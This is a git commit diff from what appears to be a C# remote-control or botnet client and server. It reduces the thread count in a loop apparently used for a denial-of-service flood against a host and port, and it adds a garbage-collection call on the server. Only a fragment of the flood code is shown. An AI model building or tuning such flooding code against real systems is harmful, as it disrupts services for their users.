Update
This commit is contained in:
parent
7810166e53
commit
720aff929d
@ -41,7 +41,7 @@ namespace Client.Handle_Packet
|
|||||||
Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}");
|
Debug.WriteLine($"Host:{host} Port:{port} Timeout:{timeout}");
|
||||||
while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected)
|
while (!Packet.ctsDos.IsCancellationRequested && timespan > stopwatch.Elapsed && ClientSocket.IsConnected)
|
||||||
{
|
{
|
||||||
for (int i = 0; i < 100; i++)
|
for (int i = 0; i < 30; i++)
|
||||||
{
|
{
|
||||||
new Thread(() =>
|
new Thread(() =>
|
||||||
{
|
{
|
||||||
|
@ -163,6 +163,10 @@ namespace Server.Handle_Packet
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
GC.Collect();
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user